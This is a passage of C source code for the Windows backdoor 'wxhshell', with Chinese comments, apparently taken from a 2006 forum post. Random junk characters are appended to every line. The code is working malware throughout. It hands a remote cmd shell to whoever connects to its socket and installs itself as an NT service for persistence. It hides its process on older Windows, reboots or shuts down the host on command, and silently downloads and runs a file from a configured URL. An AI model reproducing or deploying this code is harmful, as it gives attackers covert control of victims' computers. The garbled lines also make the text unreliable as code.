9V[}#(f$  
    switch(cmd[0]) { gIusp917  
  0@{0#W3R  
  // 帮助 @rDBK] V  
  case '?': { q=D8 Nz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &;)B qqXc  
    break; K~I?i/P=z  
  } dr+(C[=  
  // 安装 vt^7:! r  
  case 'i': { sQ,xTWdj  
    if(Install()) lX)AbK]nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k?TZY|_  
    else '`. -75T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v9Sk\9}S  
    break; 32?'jRN(ue  
    } / o I 4&W  
  // 卸载 /3K)$Er  
  case 'r': { O9/)_:Wdh  
    if(Uninstall()) .{*l,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M \  
    else -!\%##r7~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P=KhR&gwV~  
    break; x<Gjr}  
    } N N1}P'6Ha  
  // 显示 wxhshell 所在路径 D7JrGaF{  
  case 'p': { $u'"C|>8  
    char svExeFile[MAX_PATH]; ;UM(y@  
    strcpy(svExeFile,"\n\r"); S50}]5K  
      strcat(svExeFile,ExeFile); VltM{-k^  
        send(wsh,svExeFile,strlen(svExeFile),0); 6)ln,{  
    break; wet[f{c  
    } kGo2R]Dd[  
  // 重启 _$5DK%M}  
  case 'b': { w,vnpdT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .UQ|k,,t  
    if(Boot(REBOOT)) doHE]gC2Uz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qe&B$3D|  
    else { _*%K!%}l=  
    closesocket(wsh); X[1D$1Dvw  
    ExitThread(0); -N wic|  
    } OuEcoIK  
    break; ]@<VLP?  
    } US(RWXyg  
  // 关机 *<y9.\z Y<  
  case 'd': { DB-79U%W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .5o~^  
    if(Boot(SHUTDOWN)) $p4e8j[EJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G9LWnyQt  
    else { Sw,*#98  
    closesocket(wsh); 58HA*w  
    ExitThread(0); 6Aq]I$  
    } !rAH@y.l  
    break; [+pa,^  
    } gh\u@#$8  
  // 获取shell ,=4,eCS  
  case 's': { Z|Rc54Ct  
    CmdShell(wsh); @KU;' th  
    closesocket(wsh); 1zH?.-  
    ExitThread(0); 'N+;{8C-{  
    break; W&R67ff|  
  } !#W>x49}  
  // 退出 0F%8d@Y2  
  case 'x': { d=%NFCIV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `iM%R3&  
    CloseIt(wsh); l&U$L N$*e  
    break; 8 b~  
    } O65`KOPn  
  // 离开 a{Y|`*7y  
  case 'q': { 3en6 7l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l5Ko9CG  
    closesocket(wsh); aF+Lam(  
    WSACleanup(); [J}eNprg  
    exit(1); ?HZ^V  
    break; <nD@4J-A0  
        } ;*j K!  
  } Z'y&11  
  } r(uo-/7z  
oxN5:)  
  // 提示信息 N<a %l J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [BJzZ>cY  
} y$]<m+1  
  } /7Pqy2sgE  
xatq  
  return; lGWz  
} U'(zKqC   
zQ{bMj<S  
// shell模块句柄 Wq<oP  
int CmdShell(SOCKET sock) F I[BZZW  
{ em3+V  
STARTUPINFO si; Y * rujn{  
ZeroMemory(&si,sizeof(si)); b3R( O|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kmaz"6A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l~o!(rpX  
PROCESS_INFORMATION ProcessInfo; ?2~fvMWu  
char cmdline[]="cmd"; [1kQ-Ko`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;5[ OS8  
  return 0; F%o!+%&7  
} 4jTO:aPh_  
R@jMFh;  
// 自身启动模式 L{&2 P  
int StartFromService(void) Q~Mkf&s  
{ [O&}Qk  
typedef struct 2p](`Y`  
{ S%}G 8Ty  
  DWORD ExitStatus; p{LbTjdNc  
  DWORD PebBaseAddress; Q\kWQOB_  
  DWORD AffinityMask; >zX^*T#  
  DWORD BasePriority; Q;y5E`G  
  ULONG UniqueProcessId; .-M5.1mo\(  
  ULONG InheritedFromUniqueProcessId; )G^k$j  
}   PROCESS_BASIC_INFORMATION; ]-{ fr+  
e( @< /W  
PROCNTQSIP NtQueryInformationProcess; >\<eR]12  
Y` ]P&y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s)]T"87H'_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZJZSt% r  
\}=T4w-e  
  HANDLE             hProcess; `b8nz 7  
  PROCESS_BASIC_INFORMATION pbi; W g7 eY'FE  
&(Fm@ksh\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p@f #fs  
  if(NULL == hInst ) return 0; }RadbJ{q=  
RVwS<g)~1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K=0xR*ll5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4sQm"XgE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '=Zm[P,  
?<3 d Fb  
  if (!NtQueryInformationProcess) return 0; 9AhA"+?  
m=@xZw<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "Ux(nt  
  if(!hProcess) return 0; i@?|vu  
n5UUoBv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /fb}]e]N  
mJ<`/p?:  
  CloseHandle(hProcess); P:.jb!ZU  
Ya\:C]   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e_Hpai<b  
if(hProcess==NULL) return 0; !`?i>k?Q E  
i'H]N8,A  
HMODULE hMod; 5Z; 5?\g  
char procName[255]; j]kgdAq>  
unsigned long cbNeeded; )GVTa4}p  
[T =>QS@g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NN'pBU R  
|\uj(|  
  CloseHandle(hProcess); <dP \vLH_  
i;C` .+  
if(strstr(procName,"services")) return 1; // 以服务启动 ef '?O  
=l/Dc=[  
  return 0; // 注册表启动 _`;KmD&5  
} `dV2\^*A  
Ot-P J i  
// 主模块 o[_,r]%+D  
int StartWxhshell(LPSTR lpCmdLine) Oo; ]j)z  
{ X\Zan$oi  
  SOCKET wsl; K\%\p$ZD  
BOOL val=TRUE; GIE QD$vy  
  int port=0; & tT6.@kH  
  struct sockaddr_in door; `WL3aI":  
~$K{E[^<  
  if(wscfg.ws_autoins) Install(); DL4`j>2Ov  
JRz) A4P  
port=atoi(lpCmdLine); e`={_R{N  
vb>F)po1}  
if(port<=0) port=wscfg.ws_port; W+Mw:,>*s  
xS12$ib ~G  
  WSADATA data; /}E2Rr?{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; su=MMr>  
[06m{QJ)1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lmHQ"z 3G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iy]L"7&Z2  
  door.sin_family = AF_INET; S`5bcxI_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bi+M28m  
  door.sin_port = htons(port); aQL0Sj:,  
8Snv, Lb`^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A+Isk{d  
closesocket(wsl); td%J.&K_*'  
return 1; Pd&KAu|<`  
} )-5eIy  
)-[$m%  
  if(listen(wsl,2) == INVALID_SOCKET) { WZ6{9/%:  
closesocket(wsl); JW0\y+o~  
return 1; q7KHx b  
} c]x-mj =  
  Wxhshell(wsl); "1Hn?4nz5  
  WSACleanup(); lG0CCOdQ  
PZ6R+n8  
return 0; :n13v @q  
[LjiLKW  
} $Xt""mlQ  
6T4DuF   
// 以NT服务方式启动 Ey: ?!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Y:>^F;  
{ &Wa3/mWK  
DWORD   status = 0; ; k.@=  
  DWORD   specificError = 0xfffffff; ui)mYR[8X  
l#v52  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z{ eZsh b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jSvq1$U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f:\)! &W  
  serviceStatus.dwWin32ExitCode     = 0; [n/c7Pe  
  serviceStatus.dwServiceSpecificExitCode = 0; / S' +  
  serviceStatus.dwCheckPoint       = 0; S'|PA7a}h  
  serviceStatus.dwWaitHint       = 0; o N A ]G]  
g`'!Vgd?M[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Brs6RkRf  
  if (hServiceStatusHandle==0) return; jq]5Y^e  
5SUO`4L  
status = GetLastError(); '6NrL;  
  if (status!=NO_ERROR) RICm$,  
{ R[\1Kk(Zo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ylczM^@  
    serviceStatus.dwCheckPoint       = 0; Q]=/e7  
    serviceStatus.dwWaitHint       = 0; \='LR!_  
    serviceStatus.dwWin32ExitCode     = status; JL#LCU ?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6 M:?W"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x[TLlV:{  
    return; WxYEu +_  
  } YJ ,"@n_  
iNkN'("  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ~ e?af  
  serviceStatus.dwCheckPoint       = 0; 'L3MHTM>[  
  serviceStatus.dwWaitHint       = 0; \36 G``e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nU{Qi;0  
} ?0dmw?i  
}[|9vF"g.y  
// 处理NT服务事件,比如:启动、停止 [g}#R#Y)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vde!k_,wZ  
{ `-U?{U}H  
switch(fdwControl) 6B@e[VtG$  
{ YBj*c$.D0  
case SERVICE_CONTROL_STOP:  yI|x 5f  
  serviceStatus.dwWin32ExitCode = 0; F;`c0ja]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HFjSM~  
  serviceStatus.dwCheckPoint   = 0; 7=yM40  
  serviceStatus.dwWaitHint     = 0; @0EY5{&  
  { 2dHO!A$RF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I@VzH(da\  
  } 7t<h 'g2  
  return; khR[8j..  
case SERVICE_CONTROL_PAUSE: .53 M!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nl(GoX$vRQ  
  break; 4=^Ha%l  
case SERVICE_CONTROL_CONTINUE: bnL!PsG$K,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4|%Y09"lv  
  break; q90RTX'CY  
case SERVICE_CONTROL_INTERROGATE: xC9?rLUZ  
  break; O{ 3X`xAf  
}; uHacu<$=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?#vL\8  
} 7wWx8  
5V(#nz  
// 标准应用程序主函数 j< h1s%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {7oPDP  
{ o8:9Y js  
\6 JY#%  
// 获取操作系统版本 <tZtt9j_  
OsIsNt=GetOsVer(); 5#|&&$)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KAE %Wwjr  
/0k'w%V{n  
  // 从命令行安装 }sqFvab<  
  if(strpbrk(lpCmdLine,"iI")) Install(); /,~]1&?}1  
,f)+|?wz  
  // 下载执行文件 X6B,Mply  
if(wscfg.ws_downexe) { Qh8pOUD0l}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ex~"M&^  
  WinExec(wscfg.ws_filenam,SW_HIDE); }U>K>"AZl  
} }@ U}c6/  
;s$4/b/~  
if(!OsIsNt) { URj)]wp/  
// 如果时win9x,隐藏进程并且设置为注册表启动 O251. hXK  
HideProc(); 8MDivr/@  
StartWxhshell(lpCmdLine); on8$Kc  
} ,if~%'9j  
else F ]D^e{y  
  if(StartFromService()) 73!NoDxb  
  // 以服务方式启动 CTg79 ITYk  
  StartServiceCtrlDispatcher(DispatchTable); l{3zlXk3z  
else n?6^j8i  
  // 普通方式启动 _?felxG[  
  StartWxhshell(lpCmdLine); %LHt{:9.  
njJTEUd">  
return 0; 7Cz=;  
}
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只看该作者 1 发表于: 2006-10-10
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